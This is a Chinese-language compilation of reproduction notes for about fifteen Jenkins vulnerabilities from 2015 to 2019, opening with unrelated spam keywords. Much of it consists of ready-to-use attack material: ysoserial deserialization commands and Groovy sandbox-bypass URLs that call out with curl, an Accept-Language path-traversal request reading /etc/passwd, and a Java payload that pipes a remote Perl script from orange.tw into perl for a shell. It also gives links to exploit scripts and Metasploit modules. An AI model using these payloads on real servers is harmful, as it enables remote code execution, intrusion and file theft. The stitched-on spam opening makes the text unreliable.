建筑方面的网站,一卡二卡精品分类在线观看,云南省建设厅网站怎么进不去,酒店网站建设方案目录
CVE-2015-8103 反序列化远程代码执行
CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
CVE-2016-0792 低权限用户命令执行
CVE-2016-9299 代码执行
CVE-2017-1000353 Jenkins-CI 远程代码执行
CVE-2018-1000110 用户枚举
CVE-2018-1000861 远程命令执行
CVE-2018…目录
CVE-2015-8103 反序列化远程代码执行
CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
CVE-2016-0792 低权限用户命令执行
CVE-2016-9299 代码执行
CVE-2017-1000353 Jenkins-CI 远程代码执行
CVE-2018-1000110 用户枚举
CVE-2018-1000861 远程命令执行
CVE-2018-1999002 任意文件读取
CVE-2018-1000600 Jenkins GitHub 信息泄露
CVE-2019-1003000 远程代码执行
CVE-2019-1003005 远程代码执行
CVE-2019-1003029 Script Security Plugin沙箱绕过
CVE-2019-10392 Jenkins Git 插件命令执行
CVE-2019-10352 任意文件写入 复现文章和脚本大都是网上收集大部分能找到出处的个别找不到明确的地址。
CVE-2015-8103 反序列化远程代码执行
1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。
利用脚本https://github.com/LeoHuang2015/jenkins-cli-exploit
执行后有类似如下反应 还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize来执行攻击反弹shell。
CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。
利用需要X-Jenkins-CLI2-Port对应的端口如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”它会退回到版本1。
利用ys生成二进制文件java -jar ysoserial.jar CommonsCollections3 curl http://r9rub4.ceye.io/ payload.bin
利用脚本https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py
发送的二进制文件实际上是十六进制的([JENKINS REMOTING CAPACITY])与其后base64的编码构成。使用类似反应如下 CVE-2016-0792 低权限用户命令执行
影响版本jenkins小于 1.650
利用脚本https://github.com/jpiechowka/jenkins-cve-2016-0792
执行后类似如下 CVE-2016-9299 代码执行
2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码从而触发对第三方服务器的LDAP查询。
关于这个漏洞的分析和代码利用已经有详细的分析文章https://paper.seebug.org/199/
msf有成熟的利用模块exploit/linux/misc/jenkins_ldap_deserialize
CVE-2017-1000353 Jenkins-CI 远程代码执行
影响版本Jenkins2.56。Jenkins LTS 2.46.1
下载pochttps://github.com/vulhub/CVE-2017-1000353
执行生成字节码文件。
java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser curl http://xxx.ceye.io
利用py文件来进行发送
python exploit.py http://x.x.x.x:8080 jenkins_poc.ser
会有如下反应 CVE-2018-1000110 用户枚举
模糊搜索http://x.x.x.x:8080/search/?qa http://x.x.x.x:8080/search/suggest?querya 如果git插件小于3.7也可以使用如下
http://x.x.x.x:8080/git/search/?qa
http://x.x.x.x:8080/git/search/suggest?querya
CVE-2018-1000861 远程命令执行
可以使用如下的一键化脚本
https://github.com/orangetw/awesome-jenkins-rce-2019
也可以自定义发送请求
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandboxtruevaluepublic class x {public x(){curl http://xxx.ceye.io/CVE-2018-1000861.execute()}}
页面返回空白响应为 如果使用脚本则同样效果 还可以使用的POC使用会提示错误信息但命令已执行。
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandboxtruevalueimportgroovy.transform.*%0a%40ASTTest(value%3d%7bassertjava.lang.Runtime.getRuntime().exec(curl http://xxx.ceye.io/CVE-2018-1000861)%7d)%0aclassPerson%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandboxtruevalueimportgroovy.transform.*%0a%40ASTTest(value%3d%7bcurl http://xxx.ceye.io/CVE-2018-1000861.execute().text%7d)%0aclassPerson%7b%7d
环境搭建
参考Vulhub - Docker-Compose file for vulnerability environment
执行如下命令启动一个Jenkins 2.138包含漏洞的插件也已经安装
docker-compose up -d
环境启动后访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins无需再进行任何操作。
漏洞复现
使用 orangetw 给出的一键化POC脚本发送如下请求即可成功执行命令 http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript ?sandboxtrue valuepublic class x { public x(){ touch /tmp/success.execute() } } /tmp/success已成功创建 CVE-2018-1999002 任意文件读取
影响版本Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本
可以读取Windows系统服务器中的任意文件且在特定而条件下也可以读取Linux系统服务器中的文件.
详情https://xz.aliyun.com/t/2486
结合payload来看我们请求的url为/plugin/credentials/.ini则base为空扩展名ext变量即为.ini然后通过一系列的尝试openURL在此例中即最后一个情形con openURL(map(base_ locale.getLanguage()ext));会去请求_../../../../../../../../../../../../windows/win.ini 尽管目录_..并不存在但在win下可以直接通过路径穿越来绕过。但在linux则需要一个带有_的目录来想办法绕过。
需要已经开启了匿名用户读取权限在请求头中添加 Accept-Language: /../../../../../../../../etc/passwd
处理请求中的包含路径比如/plugin/xxxx可以尝试 /plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini
在Windows下这么使用 GET /plugin/credentials/.ini HTTP/1.1 Host: x.x.x.x:8080 Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.7 DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Origin: http://x.x.x.x:8080 Referer: http://x.x.x.x:8080/ Accept-Encoding: gzip, deflate Accept-Language: /../../../../../../../../etc/passwd Cookie: JSESSIONID.450017e3x6kdpnkcgllh18wvlaohsqq8z; screenResolution1920x1080; JSESSIONID.ccf0cd96node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b17714vcq2nsop6bw1u8urepj65kwv; td_cookie1608956971 Connection: close
CVE-2018-1000600 Jenkins GitHub 信息泄露
影响版本Jenkins GitHub插件小于1.29.1
利用的POC为其中user1为用户名。
/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrlhttp://xxx.ceye.io
执行后显示 查看DNSlog回显 CVE-2019-1003000 远程代码执行
实际影响版本及编号CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
拥有Overall/Read 权限的用户可以绕过沙盒保护在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本Pipeline: Declarative 插件 1.3.4。Pipeline: Groovy 插 件 2.61。Script Security 插 件 1.49。
下载环境和利用代码https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
执行利用后显示 我们的job中也被添加了如下 CVE-2019-1003005 远程代码执行
受影响版本
Jenkins 2.53Jenkins 2.122Jenkins 2.137Jenkins 2.138 启用匿名读取Jenkins 2.152 启用匿名读取Jenkins 2.153 启用匿名读取Script Security Plugin 1.43Script Security Plugin 1.48
下载利用脚本https://github.com/orangetw/awesome-jenkins-rce-2019
构建环境后执行脚本如下 显示如下 当然如果不想使用这种一键式脚本还可以自己构造jar来利用
创建Payload.java public class Payload { public Payload(){ try { String payload curl orange.tw/bc.pl | perl -; String[] cmds {/bin/bash, -c, payload}; java.lang.Runtime.getRuntime().exec(cmds); } catch (Exception e) { } } }
编译文件创建META-INF/services/文件夹同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意比如Payload
文件创建后在某一目录下文件树类似如下 编译以上目录jar cvf poc-1.jar code/
将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/
将www目录移动到web服务器中地址类似http://xxx.com/code/payload/poc/1.poc-1.jar
利用如下exp http://TARGET HOST/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value GrabConfig(disableChecksumstrue)%0a GrabResolver(namepayload, roothttp://EXPLOIT HOST)%0a Grab(grouppackage, modulepayload, version1)%0a import Payload;
CVE-2019-1003029 Script Security Plugin沙箱绕过
此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。
CVE-2019-10392 Jenkins Git 插件命令执行
之前做过这个漏洞的复现地址CVE-2019-10392 Jenkins 2k19认证远程RCE ~ Misakis Blog
CVE-2019-10352 任意文件写入
该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数从而导致任意文件写入。
创建一个名为test的新“自由式项目”该项目的工作空间将位于JENKINS_HOME/workspace/test